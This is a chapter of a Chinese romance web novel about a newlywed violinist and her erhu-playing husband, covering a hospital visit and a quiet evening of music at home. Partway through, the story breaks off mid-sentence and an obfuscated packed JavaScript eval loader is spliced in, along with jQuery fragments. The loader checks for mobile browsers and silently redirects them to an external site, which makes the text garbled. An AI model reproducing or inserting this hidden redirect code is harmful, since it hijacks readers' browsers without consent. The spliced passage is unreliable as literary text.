11. 困意

作品:《竹音满院[先婚后爱]

    早上的第一缕阳光就这么从医院的窗户直射进来。


    阮妙瑛睁开眼,发现自己还坐在昨晚输液的地方,但是手上的针已经拔掉了,明山幽也不在身边。


    输液室里的人比起半夜的时候少了一大半,她四处张望了一下,没看见明山幽,正准备掏出手机找人的时候,只见一个穿着病号服的小女孩跑到她面前,特别自来熟地说:“姐姐,叔叔说她去给你接水吃药了。”


    “叔叔?”阮妙瑛愣了一下,然后试探着问道,“你是说那个叫明山幽的叔叔吗?”


    小女孩笑着点点头:“对,就是他。”


    阮妙瑛还没来得及问小女孩叫什么名字,就听见有人温柔而严厉地训斥了一声:“康康,你又乱跑,等下爸爸找不到你怎么办?”


    阮妙瑛抬起后,寻着声音的方向看去,只见输液室的大门逆光站着一个儒雅的男人,戴着一副金光眼镜,看上去文质彬彬的。


    小女孩连忙跑过去,抱着男人的大腿,撒娇道:“爸爸,是明叔叔让我跟这个姐姐说的嘛。”


    “康康,刚刚谢谢你,等你出院的时候请你吃好吃的,好不好啊?”明山幽出现在父女二人的身后,笑着弯腰勾了勾小女孩的鼻子。


    小女孩伸出手:“一言为定。”


    这下阮妙瑛是不好不坐在原地了,她站起身,走到这个第一次见面的男人前,礼貌微笑鞠躬:“您是莫郁青莫老师吧?”


    莫郁青用食指抬了抬架在鼻梁上的眼镜,把康康抱了起来,笑着对阮妙瑛说:“阮小姐,你好,不好意思现在才有空见一面,都还没来得及祝你和明老师新婚快乐。”


    这就是打趣了,阮妙瑛倒不好意思起来,明明是她前来拜师,早应该来医院看康康才是的:“康康的病如何了?”


    莫郁青任由康康趴在自己的肩上和站在他身后的明山幽打闹,回答说:“现在稳定下来了,但以后还是要做手术的,不过先出院吧,康康在医院住久也不耐烦。”


    明山幽把康康的爪子从自己脸上拿开,说道:“先给姐姐吃药再和你玩。”


    说着,明山幽就走过来,把手里的保温杯和药都递给阮妙瑛,阮妙瑛在吃药这件事上十分信任他,因为医生开药的时候语速太快了,她根本没听清每日每顿的用药量,所以明山幽给多少她就吃多少。


    在莫郁青和康康的注视下,阮妙瑛尤为尴尬地吞下了药。


    关键是康康还问了一句:“爸爸,为什么姐姐吃药还要人喂呀,康康都不需要爸爸和妈妈喂药药。”


    莫郁青只好忍住笑,哄康康:“因为姐姐吃的药比康康的苦,康康刚来医院吃药的时候不也要爸爸和妈妈喂才吃吗?”


    听见旁边父女俩的对话,阮妙瑛简直想找个地缝钻进去。


    明山幽倒是挑了挑眉,饶有趣味地看了她一眼,见她已经一口气把所有的药都喝完了之后才将药收起来。


    “明老师,阮小姐?你们怎么在这儿?”早起来送给莫郁青和康康送早餐的温以芸出现在他们的身后。


    康康见到她,大喊一声“妈妈”,就要从莫郁青身上爬下来,跑到温以芸身前,温以芸把手里提着的早餐递给莫郁青,将康康抱了起来。


    阮妙瑛和温以芸对视微笑了一下,算是打过招呼。


    明山幽解释说:“朵朵昨晚发烧了,我带她来打点滴,打到快天亮的时候见到老莫带着康康下来散步。”


    温以芸听了,关切地问道:“那阮小姐好一些了吗?”


    阮妙瑛回答:“好很多了,谢谢你们的关心。”


    莫郁青说:“是你客气了,就把我们当认识很多年的朋友吧,不必那么拘谨的,康康,叫婶婶。”


    康康一直叫明山幽叫叔叔,这样看的话,叫阮妙瑛叫婶婶倒也没有什么不对的,只是听上去怎么越来越不对劲呢?


    “婶婶!”康康脆生生地叫了一声。


    小女孩被莫郁青和温以芸养得很好,除了有些病态的瘦弱之外,也许被原生家庭抛弃对康康来说也是幸运的。


    明山幽过去捏了捏康康的脸:“婶婶这个称呼硬是把朵朵叫老了十岁。”


    阮妙瑛说:“那还是婶婶好,叫姐姐的话我就和你们差辈儿了,我可不想。”


    莫郁青和温以芸都低头笑了起来。


    “你们要不要一起上病房吃早餐,我今天准备了挺多的。”温以芸问他们,“病房在七楼。”


    明山幽还没说话,阮妙瑛自己就先开口了:“我发烧还没好呢,我怕传染给康康,算了吧。”


    “嗯,朵朵说的对,我们俩领证还没正式请你们吃过一餐饭呢,康康不是过两天就出院了吗,到时候上我们小院去吃。”明山幽补充道。


    的确是因为阮妙瑛还在生病,康康抵抗力本来就比正常孩子差一些,再生个小病怕是就不止住院这么简单了,于是约好等康康出院了再聚。


    离开医院,坐上猛禽,回了山上。


    折腾了一夜,阮妙瑛病也没好全,明山幽简单煮了个面吃了早餐,就放她补觉去了。


    等再醒来的时候已经是晚饭的时间。


    这时候阮妙瑛已经觉得身体好得差不多了,明山幽再给她测了个温度,已经不烧了。


    “不愧是年轻人,我要是发个烧生个病得疼三天,你倒好,才过了一天就活蹦乱跳的。”明山幽把温度计放回药箱里,在饭桌上坐下。


    阮妙瑛睡了一天早就饿了,连忙抓起筷子就吃:“你好像不是很希望我活蹦乱跳的。”


    明山幽照例给她夹菜:“你语文不好就重读一次高中,别一整天做一些错误的阅读理解,误解别人的好意。”


    才来了几天不到,阮妙瑛就已经习惯跟明山幽这么拌嘴了,想想这多半还是明山幽自来熟的功劳,不然以阮妙瑛的性子,不熟的人看见她就想跑。


    以前孟莉也说过让阮妙瑛别老板着一张脸,说话也别太直接,多微笑,不然她总是担心自己这个学生交不到朋友。


    奈何阮妙瑛天生就不是那种温柔挂的,她也尝试过改变自己,结果就是她故意笑起来的样子比不笑的时候还可怕。


    晚饭过后,阮妙瑛帮着明山幽收拾好了碗筷,又把没吃完的饭菜处理好,该扔的扔,还能吃的保存好。


    接着两人又在院子浇了一圈的花,明山幽白天的时候新植了土,院子的石板地面还沾着泥,明山幽是看不得一点脏的人,必须要把地面弄得干干净净才行。


    终于结束打扫,阮妙瑛从出生以来就没干过家务活,这下是折腾得满头大汗。


    “你赶紧去洗澡吧,这里不需要你忙活。”明山幽催她,“看你这一头汗,体虚,以后得多食补。”


    阮妙瑛看着明山幽脸不红气不喘的,山间十几度的夜里还穿着灰色的工装背心,胸肌、背肌都隐隐若现。


    在体虚这一点上来说,她是完全没理由反驳的。于是阮妙瑛又吃了一顿药,乖乖听话去洗澡了。


    进到浴室,阮妙瑛发现自己的那些护肤品重新被人整理过了,每一个罐子都按照从高到矮、从胖到瘦依次码好,完全符合强迫症人的摆放规律。


    “……”阮妙瑛一时有点无语。


    其实她已经很仔细地尽量让自己的东西都摆放整齐了,要知道,如果是在自己的家里,她能摆得比之前还乱。


    阮妙瑛感觉自己结婚是重新给自己找了个爹。


    洗完澡出来,她见明山幽还在楼下客厅,便下了楼:“老师,我已经洗好了,你要洗的话可以去洗了。”


    “行,我等下再去。”明山幽说,他正低着头摆弄一件什么乐器。


    阮妙瑛稍微有些近视,她下了楼梯,走近一看才发现居然是马头琴。


    “明老师,怎么研究起马头琴来了?”阮妙瑛倒是有些新奇。


    在音乐学院,马头琴一直都是少数民族同学的专属乐器,她以前也和文嘉言去看过学校的少数民族音乐会,马头琴的声音很好听,让人想起了在草原上看星星看月亮的场景。


    明


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871784|159273||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    山幽正拿着一条丝巾擦拭马头琴的马头,那只马头被雕刻得栩栩如生,丝巾擦拭过后油亮油亮的,似乎在预示着它洪亮的音色。


    “就闲着没事,现在也不用教书了,就什么乐器都想研究研究,而且马头琴和二胡都是两根弦的,对我来说很好上手,想不想听听?”明山幽抬起头来,问阮妙瑛。


    阮妙瑛也常年都停留在自己的小提琴圈子里,很少能听到除了交响乐团之外的乐器,明山幽一问,她几乎立即就答应了:“想听。”


    明山幽抓起弓,搭在弦上,只停顿了一秒,壮阔的曲声就从他的指尖和手中倾泻而出。


    这首曲子速度偏快,明山幽修长有力的手指在按弦时却总能游刃有余快速切换,一曲下来,阮妙瑛都快忘了他的本职其实是拉二胡的。


    “这首曲子叫《风中的苏鲁锭》。”明山幽介绍道。


    “好听,您自己学的吗?”


    “对,自己摸索的,不过也请教过以前音乐学院的马头琴老师。”


    明山幽又问阮妙瑛:“要不要试试?”


    阮妙瑛却胆怯了,摇摇头说:“算了吧,我还是只练小提琴,我没有老师您那么厉害。”


    明山幽没说什么,看了她一眼,就又继续在ipad上找谱子,问:“真喜欢小提琴?”


    阮妙瑛不理解这个问题有什么好问的,只点点头:“真的喜欢。”


    “喜欢是好事,能做自己喜欢的事情就很好。”


    “那老师您喜欢吗?”阮妙瑛也跟着问。


    “喜欢啊。”明山幽说,“喜欢音乐,不然不会为了音乐住到这里来。”


    阮妙瑛没有注意到明山幽话里的宾语不太一样,继续问:“老师,之前害得您这些年都没办法再上台演出二胡了,您会不会觉得很遗憾?”


    “平时跟我拌嘴的时候没看出你的愧疚啊。”明山幽有些好笑地看着她,“一提起这事就把我当老师看了?一口一个您的。”


    阮妙瑛觉得这人简直是不按常理出牌:“那平时你是老公,提起这事儿的时候您是老师,这个解释你满意吗?”


    明山幽笑了:“老公是用来拌嘴的是吧?”


    阮妙瑛理直气壮:“那不然呢?”


    一楼的窗户没关,夜里还起了雾,一团团的,笼在院子里的路灯上,氤氲得阮妙瑛打了个喷嚏。


    明山幽放下琴,去关了窗和门,问她:“你怎么还不睡?”


    “今天白天睡太久了,现在没有睡意。”阮妙瑛拿纸巾擦了擦鼻子。


    听到她的话,明山幽回来的时候顺手去把唱片机打开了,一首古典的钢琴曲悠悠回响在客厅里。


    阮妙瑛:“……明老师,您忘了我从小就听这些音乐长大的,对我来说不起催眠效果。”


    “哦,的确忘了,不好意思。”明山幽又走到酒柜前,看着他那一大堆各种产地各种日期的白酒红干,“要来杯酒吗?酒也助眠。”


    “……”阮妙瑛说,“我吃了头孢。”


    “那太可惜了。”


    明山幽随手取了一瓶俄罗斯的烈酒,酒瓶的造型很漂亮,是油画的一个小女孩,很像高中美术课的瓶子改造作业。


    “我就不能继续听您拉琴吗?我想听您拉二胡。”阮妙瑛总算有星星眼看明山幽的时候了。


    以前明山幽的音乐会一票难求不说,很多时候连有钱都抢不到,现在这少年成才的人从自己的老师成为了自己的老公,阮妙瑛还没现场听过明山幽拉二胡呢。


    “不行。”明山幽义正严辞地拒绝了,从客厅的小书架上取了一本书扔给阮妙瑛,命令道,“看书,早睡觉,你病还没好,等你病好了再说。”


    阮妙瑛本来想说她看书也不会困,孟莉一直都教育她学琴不能只学技术,也要有文化内涵才能把琴练好,不然为什么当时明山幽的艺术史课她会听得津津有味。


    结果,阮妙瑛把书翻到正面一看,居然是一本《金属有机化学》。


    好了,困意来袭。